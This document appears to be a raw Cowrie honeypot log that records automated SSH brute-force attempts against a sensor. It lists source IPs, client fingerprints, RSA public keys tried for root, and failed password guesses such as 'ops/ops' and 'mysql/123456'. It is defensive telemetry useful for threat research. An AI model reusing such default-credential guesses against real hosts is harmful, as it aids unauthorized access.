{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:b5:c9:9f:73:12:e5:06:3a:50:ad:64:fc:61:c4:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCW5dRfOrL1VeQU2k2+8Zm0OaiM2lJDQ1YIReEZgcXxmKU6yuWvgZ1Wf8XiQX9NYmXD0r4fiTQSDVLKMDorc+/83n1FdHc6AWx/CtUjdjaxefNBZ505nHWV/V87jYDxMxdXsR/OzBKiZUMh2bXhqk3vaxCZUH8vqkC2r2bbWzVgb2xxy04UrqxJ8SRl6c30LA49SuiJqWU6D7rGRQ0fna8FZobchi60mbG8K8ShsX+5uYdANqVRXbitwy9L8YA8e+UHOniqUcyPMXfjsTSHIFXewg8ViyWrTyAY4Um1iQrBImkyUStZG530szknd0YBy03CqTWKcT9cftYD3K8tlXl5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:59.152583Z","src_ip":"198.46.134.148","session":"0b1b650728ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:c7:71:27:65:bb:7e:88:37:b4:1e:9c:f0:69:6f:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYXT5v5SisE3DAIRIlFzKJfWdjhneRvgqmTFcXLnUGyggpxXO1jWJ2jWwY4mh8bOryKBZzPik0K/7HE1opKWo7AKMQD8zEIRIflFFgmQz9DywHBkkeJ71dMpVVwmrZZxlbb7fftyVQap1vi362ovdcYKDMIXpC4mlqQWwJZE7a1Hf00djVVBRQTG4PROae2rdJxqNLBwYxnfIJHrljVbpkB3chbzjt6GlJGo1KpIZ2CMW48Lr3psrTmyc5RO9mutXoTD7p3POK9fR6mQ5pEjaMYQwimmwbUrcLTnc/at1DuzKnN3sT6VWDXtkrKetn8SmB39Rz8AOW7XtLLX8voDCVrjEqwnzqKHu6Y1ZqhlTaHSuSnolX4K2SBZ99N2jW3aTJ/PAIcZQUrLEufOUOl3yCdx6eh7EMv2BEneuH0kK2f6XIdvS3Unh0y9MXZXsiTgG1t5Lp5gDZ0SjwuyPyGxSULKOCvBTTpSG2oGy05NlajeWRFVUlSGTmXPKQpmdT5WxhQsZLLVRmwhkNQoHHMakRY0thSCA88sgGBsYK1wZh6IbLCeTQgmGFZkoXr7aT6UCOH6xkOU1RUhqBoCLBw1h+5izNugjb58ALNuOR9yjkc6IMM+QafIlmaot/rahfQHGHPEJXcc9rnJTV9v8510wBdnibO5EswvJPi+N412d/gw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:c7:71:27:65:bb:7e:88:37:b4:1e:9c:f0:69:6f:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:59.182976Z","src_ip":"198.46.134.148","session":"0b1b650728ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:c7:71:27:65:bb:7e:88:37:b4:1e:9c:f0:69:6f:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYXT5v5SisE3DAIRIlFzKJfWdjhneRvgqmTFcXLnUGyggpxXO1jWJ2jWwY4mh8bOryKBZzPik0K/7HE1opKWo7AKMQD8zEIRIflFFgmQz9DywHBkkeJ71dMpVVwmrZZxlbb7fftyVQap1vi362ovdcYKDMIXpC4mlqQWwJZE7a1Hf00djVVBRQTG4PROae2rdJxqNLBwYxnfIJHrljVbpkB3chbzjt6GlJGo1KpIZ2CMW48Lr3psrTmyc5RO9mutXoTD7p3POK9fR6mQ5pEjaMYQwimmwbUrcLTnc/at1DuzKnN3sT6VWDXtkrKetn8SmB39Rz8AOW7XtLLX8voDCVrjEqwnzqKHu6Y1ZqhlTaHSuSnolX4K2SBZ99N2jW3aTJ/PAIcZQUrLEufOUOl3yCdx6eh7EMv2BEneuH0kK2f6XIdvS3Unh0y9MXZXsiTgG1t5Lp5gDZ0SjwuyPyGxSULKOCvBTTpSG2oGy05NlajeWRFVUlSGTmXPKQpmdT5WxhQsZLLVRmwhkNQoHHMakRY0thSCA88sgGBsYK1wZh6IbLCeTQgmGFZkoXr7aT6UCOH6xkOU1RUhqBoCLBw1h+5izNugjb58ALNuOR9yjkc6IMM+QafIlmaot/rahfQHGHPEJXcc9rnJTV9v8510wBdnibO5EswvJPi+N412d/gw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:59.186693Z","src_ip":"198.46.134.148","session":"0b1b650728ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:5c:8a:81:13:77:d4:f9:b5:e8:84:00:7e:f3:0a:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+jVP/F0H0HHivEiS5pVF+oOSlCRIDhBWJK1xBFxha8MPTdq1G7gXwH1M9QAGdP6hKCXkHqa3tPe9CYUmAYdoW7awoUoHNEUyGwN0Iv4Lj6yarn2JBuhGowQseZ8ye8VnEyHHEqkZdW2S/StZI+B2gL0f3LHVRFzv+6TFyeQvVBhN5JW8s0uza7CWh/8DUrUGhW2W8P0QyIx4IdBbDfCxOWKfssq59feLEdv6cySZyRwUHVYW9IS/9lZ8s5Riwejfc3/VBYoCW0CKo5OI7rr/TurVi7DLktPrIGNRxuQi8LMypaGP9Q42gCum9gaM74QZKZCJJJWKRJlKq68eLCsnkHRm4kUjcqDdtNN8qHGIQqG6EtDkL/opTFk8KfnPa8E45n6gZiXra1I3YmIqwUF0g97wrEtDIbVfo5h/JK/9q9j9T/q3v/E7jci7HCJ0l6t/G8ST9LRlK93ARew5BFG94LxsrjCMrAcs6eWjSULDHd3qZBv85uSR7FV06Hf51QPy0jFGnDLLAy5k7A42u4joXBr7q5fxIjRI5mgeXJd++XR69YvomXvkMFhB+3l15mvFjNGQHJS4SgHJcmlmIGu3XjtLfQUpREyvVYWA3ZqyHdZ/bhczLvyPivvD0Jw+cf/SKxKPqGymIjj2nuEJ59f6eXAOxJ94JUHnRp/OQrQHqWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:5c:8a:81:13:77:d4:f9:b5:e8:84:00:7e:f3:0a:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:59.214428Z","src_ip":"198.46.134.148","session":"0b1b650728ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:5c:8a:81:13:77:d4:f9:b5:e8:84:00:7e:f3:0a:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+jVP/F0H0HHivEiS5pVF+oOSlCRIDhBWJK1xBFxha8MPTdq1G7gXwH1M9QAGdP6hKCXkHqa3tPe9CYUmAYdoW7awoUoHNEUyGwN0Iv4Lj6yarn2JBuhGowQseZ8ye8VnEyHHEqkZdW2S/StZI+B2gL0f3LHVRFzv+6TFyeQvVBhN5JW8s0uza7CWh/8DUrUGhW2W8P0QyIx4IdBbDfCxOWKfssq59feLEdv6cySZyRwUHVYW9IS/9lZ8s5Riwejfc3/VBYoCW0CKo5OI7rr/TurVi7DLktPrIGNRxuQi8LMypaGP9Q42gCum9gaM74QZKZCJJJWKRJlKq68eLCsnkHRm4kUjcqDdtNN8qHGIQqG6EtDkL/opTFk8KfnPa8E45n6gZiXra1I3YmIqwUF0g97wrEtDIbVfo5h/JK/9q9j9T/q3v/E7jci7HCJ0l6t/G8ST9LRlK93ARew5BFG94LxsrjCMrAcs6eWjSULDHd3qZBv85uSR7FV06Hf51QPy0jFGnDLLAy5k7A42u4joXBr7q5fxIjRI5mgeXJd++XR69YvomXvkMFhB+3l15mvFjNGQHJS4SgHJcmlmIGu3XjtLfQUpREyvVYWA3ZqyHdZ/bhczLvyPivvD0Jw+cf/SKxKPqGymIjj2nuEJ59f6eXAOxJ94JUHnRp/OQrQHqWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:59.218075Z","src_ip":"198.46.134.148","session":"0b1b650728ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:69:9c:da:67:5c:a5:ce:e7:38:b8:a0:9f:3f:42:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp+EdwrEi7DYIH6FOzj0BcK5Y058V0nIH8yq7kAdsmQJzYNFs8/6zMbWbRRNiYq0TNZn7u3DyDXrZHoNvItA/L1HeOkGAbofs9kA7sEmlbDNy5Vz7Anm8O5ypJ7rut4vAYOkiayvHo4LNXO24hA+b4dbasAvshcgNLYAqKPb6cwdyYljXHnkoEdR1z/tIZcFHNMTMAnTUCkFkwLkULvt8KwpFQJe84PdyiGLajCYiy2FlzOv4dFcaeU9ECmB2ecPl+vbZ1Xch6977lI3PH3Vjwr3FAxEfkB4prakg6YhvT/FK2uweof7P7oqhlDl7AUEdpOX4UUs+QbEd7ISmfEYvz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:69:9c:da:67:5c:a5:ce:e7:38:b8:a0:9f:3f:42:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:59.245784Z","src_ip":"198.46.134.148","session":"0b1b650728ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:69:9c:da:67:5c:a5:ce:e7:38:b8:a0:9f:3f:42:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp+EdwrEi7DYIH6FOzj0BcK5Y058V0nIH8yq7kAdsmQJzYNFs8/6zMbWbRRNiYq0TNZn7u3DyDXrZHoNvItA/L1HeOkGAbofs9kA7sEmlbDNy5Vz7Anm8O5ypJ7rut4vAYOkiayvHo4LNXO24hA+b4dbasAvshcgNLYAqKPb6cwdyYljXHnkoEdR1z/tIZcFHNMTMAnTUCkFkwLkULvt8KwpFQJe84PdyiGLajCYiy2FlzOv4dFcaeU9ECmB2ecPl+vbZ1Xch6977lI3PH3Vjwr3FAxEfkB4prakg6YhvT/FK2uweof7P7oqhlDl7AUEdpOX4UUs+QbEd7ISmfEYvz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:59.249140Z","src_ip":"198.46.134.148","session":"0b1b650728ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:47:cf:05:df:d6:60:46:bd:d7:59:a8:fa:99:17:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0rJF7aR5I6psTssCd7bxlu0JoobLdazMJNR0k436aahFvPYMKhQkwl7erj5Pr8BcPYBJDssGO7OKnbn8RgsIu0LpGRZoLl6pp+h+EeU8SI/FicydQHuhQfUIqi/pYNXwr0fV2vss3ah8sIYyXQqfuN54E44k45+mrELQJ7fR67zXovhruvoHvqT2Y8Bxq6+u/44yfNoIRSD56Sixck/4bK0/PTW4+IxkU2YdlJZNagDdtD9nNklhUDqlfWSVP/WnlPgAEBIv6evgIJNfZLAWfpkIuUytTfrgQk//hwHCGj2JUvof9v0Db5DhV3V9VAYItaL2/IZbW013ZI4YFW/w1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:47:cf:05:df:d6:60:46:bd:d7:59:a8:fa:99:17:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:59.275681Z","src_ip":"198.46.134.148","session":"0b1b650728ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:47:cf:05:df:d6:60:46:bd:d7:59:a8:fa:99:17:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0rJF7aR5I6psTssCd7bxlu0JoobLdazMJNR0k436aahFvPYMKhQkwl7erj5Pr8BcPYBJDssGO7OKnbn8RgsIu0LpGRZoLl6pp+h+EeU8SI/FicydQHuhQfUIqi/pYNXwr0fV2vss3ah8sIYyXQqfuN54E44k45+mrELQJ7fR67zXovhruvoHvqT2Y8Bxq6+u/44yfNoIRSD56Sixck/4bK0/PTW4+IxkU2YdlJZNagDdtD9nNklhUDqlfWSVP/WnlPgAEBIv6evgIJNfZLAWfpkIuUytTfrgQk//hwHCGj2JUvof9v0Db5DhV3V9VAYItaL2/IZbW013ZI4YFW/w1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:59.278535Z","src_ip":"198.46.134.148","session":"0b1b650728ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:18:59.305940Z","src_ip":"198.46.134.148","session":"0b1b650728ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":53712,"dst_ip":"10.17.0.5","dst_port":22,"session":"8415861f7088","protocol":"ssh","message":"New connection: 80.94.92.182:53712 (10.17.0.5:22) [session: 8415861f7088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:00.604727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:00.693092Z","src_ip":"80.94.92.182","session":"8415861f7088","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:00.927712Z","src_ip":"80.94.92.182","session":"8415861f7088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ops","password":"ops","message":"login attempt [ops/ops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:02.327977Z","src_ip":"80.94.92.182","session":"8415861f7088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:03.632420Z","src_ip":"80.94.92.182","session":"8415861f7088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":34792,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9ff07ed1819","protocol":"ssh","message":"New connection: 103.75.199.4:34792 (159.203.135.109:22) [session: b9ff07ed1819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:09.179235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:09.182948Z","src_ip":"103.75.199.4","session":"b9ff07ed1819","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:09.273534Z","src_ip":"103.75.199.4","session":"b9ff07ed1819","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:09.546412Z","src_ip":"103.75.199.4","session":"b9ff07ed1819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:10.640808Z","src_ip":"103.75.199.4","session":"b9ff07ed1819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01386594772339,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:22.992694Z","src_ip":"102.67.221.40","session":"6ace958698b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.51","src_port":34166,"dst_ip":"10.17.0.5","dst_port":22,"session":"80932e91007d","protocol":"ssh","message":"New connection: 208.87.243.51:34166 (10.17.0.5:22) [session: 80932e91007d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:24.396209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:24.400566Z","src_ip":"208.87.243.51","session":"80932e91007d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:24.471949Z","src_ip":"208.87.243.51","session":"80932e91007d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:df:54:af:d4:c6:14:0a:38:f7:ca:db:61:db:6d:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCua6Q69czyt7456VlfW0EQxl3R3YEwYmEP62KqQ4E8aRg1ug3tvE99S6m7cHA+Km1iGAFBTCt5oGLc19iZJhLx96Q6p7zsId7goNr7UjEhLOfDIwY9iDzvFxkHUkZtOUgyRYFi1LmQRvJUmQkizz258zPUXEjiKCQrub3PYOKbzR/ZRjBb+zA9myiGoYLt3695Mz5cbTPWDvop9NsnHwOcpJl96MyQjyhePW5Yif+70rfV9a8n0T1TKuQgkPP7s+1ppWeW5ycbmJ1kF/lH4Vxah+GdEGdOdOXZcMT33Sf+rQrFZaDPZv/4gknS0pnEJy/nkAGKv4bbGjGpTsb6d5yJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:df:54:af:d4:c6:14:0a:38:f7:ca:db:61:db:6d:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:24.795432Z","src_ip":"208.87.243.51","session":"80932e91007d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:df:54:af:d4:c6:14:0a:38:f7:ca:db:61:db:6d:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCua6Q69czyt7456VlfW0EQxl3R3YEwYmEP62KqQ4E8aRg1ug3tvE99S6m7cHA+Km1iGAFBTCt5oGLc19iZJhLx96Q6p7zsId7goNr7UjEhLOfDIwY9iDzvFxkHUkZtOUgyRYFi1LmQRvJUmQkizz258zPUXEjiKCQrub3PYOKbzR/ZRjBb+zA9myiGoYLt3695Mz5cbTPWDvop9NsnHwOcpJl96MyQjyhePW5Yif+70rfV9a8n0T1TKuQgkPP7s+1ppWeW5ycbmJ1kF/lH4Vxah+GdEGdOdOXZcMT33Sf+rQrFZaDPZv/4gknS0pnEJy/nkAGKv4bbGjGpTsb6d5yJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:24.799070Z","src_ip":"208.87.243.51","session":"80932e91007d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:4b:1b:44:4b:ba:7c:3d:9d:4c:0a:77:56:f9:7f:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmbuUvAXFv7AakJY2mQMZbojtYnzQn2Uv+/djbonk194bT3nhFVXEI5UoCm4qPOD6FNklbs1b7Ky1Sox0KglHMBgUx9++W1orAD3Dp1O5yO1Naju8j+Ai/gLf3FE7J3CQbGEEAiM9pDt774mrMg15ea01maEFtErv7BV/ubVw0X1Nfie6HHRaoVydeO11pjdn2eZ774nYBy8SQAb9w+Qvdg0pnhok6MlWwobvgupCoXIjXVJY8cJTx4QcsZwxq63KZtMOSOipKZKkN42ui4auUJARcUPm25xgoqef7N8YIsy3zmnB4PdYCbj1tpJJN3MlCIbBnREdnRloVRLMFd93P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:4b:1b:44:4b:ba:7c:3d:9d:4c:0a:77:56:f9:7f:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:24.869240Z","src_ip":"208.87.243.51","session":"80932e91007d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:4b:1b:44:4b:ba:7c:3d:9d:4c:0a:77:56:f9:7f:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmbuUvAXFv7AakJY2mQMZbojtYnzQn2Uv+/djbonk194bT3nhFVXEI5UoCm4qPOD6FNklbs1b7Ky1Sox0KglHMBgUx9++W1orAD3Dp1O5yO1Naju8j+Ai/gLf3FE7J3CQbGEEAiM9pDt774mrMg15ea01maEFtErv7BV/ubVw0X1Nfie6HHRaoVydeO11pjdn2eZ774nYBy8SQAb9w+Qvdg0pnhok6MlWwobvgupCoXIjXVJY8cJTx4QcsZwxq63KZtMOSOipKZKkN42ui4auUJARcUPm25xgoqef7N8YIsy3zmnB4PdYCbj1tpJJN3MlCIbBnREdnRloVRLMFd93P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:24.873428Z","src_ip":"208.87.243.51","session":"80932e91007d","protocol":"ssh"}
